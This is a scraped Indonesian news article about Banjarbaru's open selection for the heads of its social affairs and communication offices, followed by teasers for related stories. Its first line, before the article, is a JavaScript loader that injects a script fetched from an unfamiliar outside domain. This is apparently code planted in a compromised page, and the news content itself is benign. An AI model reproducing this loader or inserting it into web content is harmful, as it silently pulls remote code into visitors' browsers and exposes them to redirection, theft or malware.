(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru membuka seleksi terbuka untuk dua jabatan pimpinan tinggi pratama yakni Kepala Dinas Sosial dan Kepala Dinas Komunikasi dan Informatika (Diskominfo).
Seleksi terbuka ini diikuti 11 Aparatur Sipin Negara (ASN) di Pemko Banjarbaru. Lebih rincinya, untuk lelang jabatan Kepala Dinas Sosial diikuti 6 ASN, sementara untuk jabatan Kepala Diskominfo diikuti oleh 5 ASN.
Pada 19 Agutus lalu, tahapan seleksi kompetensi bidang telah diselenggarakan. Setelah dilakukan penilaian, Badan Kepegawaian, Pendidikan dan Pelatihan (BKPP) Kota Banjarbaru mengumumkan jumlah pelamar mengalami penyusutan.
“Ada 1 pelamar Kepala Diskominfo tidak lolos dalam tahapan kompetensi bidang. Yang bersangkutan sakit dan tidak bisa mengikuti tahapan kemarin. Jadi, jumlah pelamar jabatan Kepala Diskominfo sekarang berjumlah 4 orang saja,†kata Kepala BKPP Banjarbaru, Sri Lailana, Selasa (25/8/2020).
Sementara, untuk pelamar jabatan Kepala Dinas Sosial juga bekurang. Satu pelamar dinyatakan tidak lolos, lantaran tidak memenuhi syarat administrasi tahapan kompetensi bidang. Sehingga kini pelamar di lelang jabatan Kepala Dinsos tersisa 5 orang saja.
Sri mengatakan, untuk tahapan seleksi selanjutnya ialah kompetensi manajerial yang akan dilaksanakan secara virtual pada 26-28 Agustus mendatang. Adapun dalam tahapan kompetensi manajerial ini, Pemko Banjarbaru turut menggandeng Fakultas Kedokteran Universitas Lambung Mangkurat (ULM) program studi Psikologi.
“Dalam tahapan kompetensi manajerial ini, akan ada wawancara, penelusuran minat, dan psikotes. Oleh karena itu kita bekerjasama dengan ULM untuk melakukan penilaian,†lanjutnya.
Lelang jabatan pada tahun ini memiliki pesentase penilaian yang berbeda dibandingkan dengan tahun-tahun sebelumnya. Sebab, untuk lelang jabatan kali ini mengacu pada Permenpan Nomor 19 Tahun 2019.
Dalam hal ini, Sri menjelaskan untuk menetapkan 3 nama pelamar dengan nilai tertingi, akan melalui persentase di 4 tahapan seleksi. Yakni, untuk kompetensi bidang 20 persen, kompetensi manajerial 20 persen, wawancara 35 persen, dan penelusuran rekam jejak 25 persen.
“Jika semua tahapan selesai dan semua nilai di jumlah, maka akan muncul 3 nama pelamar dengan nilai teratas. Artinya, 3 nama pelamar di jabatan Kepala Dinsos dan 3 nama di jabatan Kepala Diskominfo. Selanjutnya, siapa yang terpilih dari 3 nama tersebut akan ditentukan Wali Kota Banjarbaru. Selanjutnya, direkomendasikan ke Komisi ASN,†pungkas Sri.
Menurut jadwal, seluruh tahapan seleksi jabatan pimpinan tinggi pratama ini akan selesai pada September mendatang. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.